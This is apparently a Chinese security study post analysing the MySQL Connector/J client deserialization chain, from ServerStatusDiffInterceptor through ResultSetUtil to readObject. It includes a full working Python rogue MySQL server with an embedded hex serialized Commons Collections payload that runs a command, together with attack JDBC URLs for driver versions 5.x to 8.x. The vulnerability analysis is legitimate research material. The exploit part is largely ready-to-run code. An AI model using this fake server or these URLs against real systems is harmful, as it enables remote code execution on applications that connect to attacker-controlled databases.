0x01 前言

听师傅们说这条链子用的比较广泛，所以最近学一学，本来是想配合着 tabby 或是 codeql 一起看的，但是 tabby 的环境搭建一直有问题，耽误了很久时间，所以就直接看了。

0x02 JDBC 的基础

本来不太想写这点基础的，但想了想觉得还是要补一点。

JDBC 对数据库的操作一般有以下步骤：

1、导入包：要求您包含包含数据库编程所需的 JDBC 类的软件包。通常，使用 import java.sql.* 就足够了。

2、注册 JDBC 驱动程序：要求您初始化驱动程序，以便您可以打开与数据库的通信通道。

3、建立连接：需要使用 * DriverManager.getConnection ()* 方法来创建一个 Connection 对象，该对象表示与数据库服务器的物理连接。要创建新的数据库，在准备数据库 URL 时，无需提供任何数据库名称，如下面的示例所述。

4、执行查询：需要使用 Statement 类型的对象来构建 SQL 语句并将其提交到数据库。

5、清理：需要显式关闭所有数据库资源，而不是依赖 JVM 的垃圾回收。

例如创建一个数据库

// 步骤 1. 导入所需的软件包
import java.sql.*;
​
public class JDBCExample {
   // JDBC 驱动程序名称和数据库 URL
   static final String JDBC_DRIVER = "com.mysql.jdbc.Driver";  
   static final String DB_URL = "jdbc:mysql://localhost/";
​
   //  数据库凭证
   static final String USER = "username";
   static final String PASS = "password";
   
   public static void main(String[] args) {
   Connection conn = null;
   Statement stmt = null;
   try{
      // 步骤 2：注册 JDBC 驱动程序
      Class.forName("com.mysql.jdbc.Driver");
​
      // 步骤 3：建立连接
      System.out.println("Connecting to database...");
      conn = DriverManager.getConnection(DB_URL, USER, PASS);
​
      // 步骤 4：执行查询
      System.out.println("Creating database...");
      stmt = conn.createStatement();
      
      String sql = "CREATE DATABASE STUDENTS";
      stmt.executeUpdate(sql);
      System.out.println("Database created successfully...");
   }catch(SQLException se){
      // 处理 JDBC 错误
      se.printStackTrace();
   }catch(Exception e){
      // 处理 Class.forName 的错误
      e.printStackTrace();
   }finally{
      // 用于关闭资源
      try{
         if(stmt!=null)
            stmt.close();
      }catch(SQLException se2){
      
      }
      try{
         if(conn!=null)
            conn.close();
      }catch(SQLException se){
         se.printStackTrace();
      }
   }// 结束 try
   System.out.println("Goodbye!");
}// 结束 main
}// 结束 JDBCExample

这一个 MySQL-JDBC 的漏洞简单来说就是 MySQL 对服务器的请求过程利用

正常的命令执行得到结果后就结束了，但是如果响应的结果是一个恶意的 poc 并且在后续过程中进行了反序列化，那么就可以用来执行任意命令了。

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0x03 漏洞分析

漏洞原理

如果攻击者能够控制 JDBC 连接设置项，那么就可以通过设置其指向恶意 MySQL 服务器进行 ObjectInputStream.readObject() 的反序列化攻击从而 RCE。

具体点说，就是通过 JDBC 连接 MySQL 服务端时，会有几个内置的 SQL 查询语句要执行，其中两个查询的结果集在 MySQL 客户端被处理时会调用 ObjectInputStream.readObject() 进行反序列化操作。如果攻击者搭建恶意 MySQL 服务器来控制这两个查询的结果集，并且攻击者可以控制 JDBC 连接设置项，那么就能触发 MySQL JDBC 客户端反序列化漏洞。

可被利用的两条查询语句：

SHOW SESSION STATUS

SHOW COLLATION

 

链子

pom.xml

<dependency>  
  <groupId>commons-collections</groupId>  
  <artifactId>commons-collections</artifactId>  
  <version>3.2.1</version>  
</dependency>  
<dependency>  
  <groupId>mysql</groupId>  
  <artifactId>mysql-connector-java</artifactId>  
  <version>8.0.13</version>  
</dependency>

CC 链作为命令执行的部分，也就是说需要我们找一个 JDBC 合理的入口类，并且这个入口类需要在 JDBC 连接过程中被自动执行，最终是找到了这样一个类 com.mysql.cj.jdbc.result.ResultSetImpl，它的 getObject() 方法调用了 readObject() 方法

JDBC 通过 MySQL 数据库查询数据会返回一个结果集，将查询到的结果返回给程序，并将结果封装在 ResultSetImpl 这个类中。

所以这个类不满足用户可控输入这一点，所以我们应该要去找谁调用了 ResultSetImpl#getObject()

根据网上的链子是 ResultSetUtil 类调用了 ResultSetImpl#getObject()，并且能够继续向上调用（如果 tabby 或者其他工具搞好了应该会用那些工具分析）

ResultSetUtil 这个类是用来处理一些测试实例的结果，或者是 profiler 的结果。简而言之还是用来做数据处理的类，继续往上看谁调用了它。

最终是 com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor#populateMapWithSessionStatusValues 方法调用了 ResultSetUtil#resultSetToMap

44ServerStatusDiffInterceptor 是一个拦截器，在 JDBC URL 中设定属性 queryInterceptors 为 ServerStatusDiffInterceptor 时，执行查询语句会调用拦截器的 preProcess 和 postProcess 方法，这是一个自动执行的过程，我们可以把它作为利用链头。

看一下 populateMapWithSessionStatusValues 方法的代码

先建立了 JDBC 的连接，并创建查询，查询语句是 SHOW SESSION STATUS，接着调用 ResultSetUtil.resultSetToMap，完成查询并封装查询结果。

漏洞复现

 

之前看 Y4tacker 师傅的文章时，发现有提到是直接用 python 脚本打，里面有很多数据，但是这个 ”打“ 肯定不是空穴来风的，所以需要再明确一下攻击思路。

 

环境搭建可能会踩坑，若有师傅踩坑了可以滴我一下

我们需要先伪造数据包，并用 wireshark 抓包，观测一下流量，编写 Test 类内容如下

import java.sql.*;  
  
public class Test {  
    public static void main(String[] args) throws Exception {  
        Class.forName("com.mysql.jdbc.Driver");  
        String jdbc_url = "jdbc:mysql://192.168.116.129:3306/test?characterEncoding=UTF-8&serverTimezone=Asia/Shanghai" +  
                "&autoDeserialize=true" +  
                "&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor";  
        Connection con = DriverManager.getConnection(jdbc_url, "root", "123123");  
    }  
}

通过 tcp.port == 3306 && mysql 来过滤协议

我们需要用 python 脚本伪造的 MySQL 服务端需要伪造的是 Greeting 数据包 Response OK 、Response Response OK 以及 JDBC 执行查询语句 SHOW SESSION STATUS 的返回包等，我们逐个来分析。

首先是 greeting 数据包

这里发送 greeting 数据包之后需要发送 Login 请求，Login 请求里面包含了 user 和 db 以及 password，在这之后才会返回 Response OK 的数据包

Login 的请求包在发送完 greeting 包之后会自动发送，所以我们只需要发送一段 greeting 数据包，返回一段 Response OK 数据包即可，Response OK 包如下

继续往下，需要编写四个 Request Query 包的 Response 包后，才是 SHOW SESSION STATUS

响应包的编写需要我们将 MySQL Protocol 的部分全部复制进来

如此，构造出最后的 fake MySQL 服务端

import socket
import binascii
import os
​
greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_ok_data="0700000200000002000000"
​
def receive_data(conn):
    data = conn.recv(1024)
    print("[*] Receiveing the package : {}".format(data))
    return str(data).lower()
​
def send_data(conn,data):
    print("[*] Sending the package : {}".format(data))
    conn.send(binascii.a2b_hex(data))
​
def get_payload_content():
    #file文件的内容使用ysoserial生成的 使用规则  java -jar ysoserial [common7那个]  "calc" > a 
    file= r'a'
    if os.path.isfile(file):
        with open(file, 'rb') as f:
            payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')
        print("open successs")
​
    else:
        print("open false")
        #calc
        payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
    return payload_content
​
# 主要逻辑
def run():
​
    while 1:
        conn, addr = sk.accept()
        print("Connection come from {}:{}".format(addr[0],addr[1]))
​
        # 1.先发送第一个 问候报文
        send_data(conn,greeting_data)
​
        while True:
            # 登录认证过程模拟  1.客户端发送request login报文 2.服务端响应response_ok
            receive_data(conn)
            send_data(conn,response_ok_data)
​
            #其他过程
            data=receive_data(conn)
            #查询一些配置信息,其中会发送自己的 版本号
            if "session.auto_increment_increment" in data:
                _payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'
                send_data(conn,_payload)
                data=receive_data(conn)
            elif "show warnings" in data:
                _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
                send_data(conn, _payload)
                data = receive_data(conn)
            if "set names" in data:
                send_data(conn, response_ok_data)
                data = receive_data(conn)
            if "set character_set_results" in data:
                send_data(conn, response_ok_data)
                data = receive_data(conn)
            if "show session status" in data:
                mysql_data = '0100000102'
                mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
                mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
                # 为什么我加了EOF Packet 就无法正常运行呢？？
                #获取payload
                payload_content=get_payload_content()
                #计算payload长度
                payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)
                payload_length_hex = payload_length[2:4] + payload_length[0:2]
                #计算数据包长度
                data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)
                data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
                mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex
                mysql_data += str(payload_content)
                mysql_data += '07000005fe000022000100'
                send_data(conn, mysql_data)
                data = receive_data(conn)
            if "show warnings" in data:
                payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
                send_data(conn, payload)
            break
​
​
if __name__ == '__main__':
    HOST ='0.0.0.0'
    PORT = 3309
​
    sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    #当socket关闭后，本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间
    sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sk.bind((HOST, PORT))
    sk.listen(1)
​
    print("start fake mysql server listening on {}:{}".format(HOST,PORT))
​
    run()

在本地运行，并运行 JDBC 的连接代码

再来看 Fake MySQL 服务端这边的响应，是能收到包，并且发包的；相当清晰

调试分析

 

在 com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor#populateMapWithSessionStatusValues 下个断点，开始调试分析

 

往下跟，先运行查询语句 SHOW SESSION STATUS，接着调用了 ResultSetUtil.resultSetToMap()

ResultSetUtil.resultSetToMap() 调用了 getObject() 方法，第一处调用 getObject() 方法回返回 null，第二次调用时才会走到反序列化的代码逻辑里面。

在调用 getObject() 方法中，判断 MySQL 的类型为 BLOB 后，就从 MySQL 服务端中获取对应的字节码数据

从 MySQL 服务端获取到字节码数据后，判断 autoDeserialize 是否为 true、字节码数据是否为序列化对象等，最后调用 readObject() 触发反序列化漏洞

不同 MySQL-JDBC-Driver 的 payload

8.x

如上述 Demo：

"jdbc:mysql://127.0.0.1:3309/test?characterEncoding=UTF-8&serverTimezone=Asia/Shanghai" +  
        "&autoDeserialize=true" +  
    "&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor";

6.x

属性名不同，queryInterceptors 换为 statementInterceptors

jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

>=5.1.11

包名中没有cj

jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor

5.x <= 5.1.10

同上，但需要连接后执行查询。

5.1.29 - 5.1.40

jdbc:mysql://x.x.x.x:3306/test?detectCustomCollations=true&autoDeserialize=true

5.1.28 - 5.1.19

jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true

0x04 小结

总体来说还是比较简单的一条链子，但是需要注意到需要将 MySQL 字段类型修改为 BLOB 才可以。

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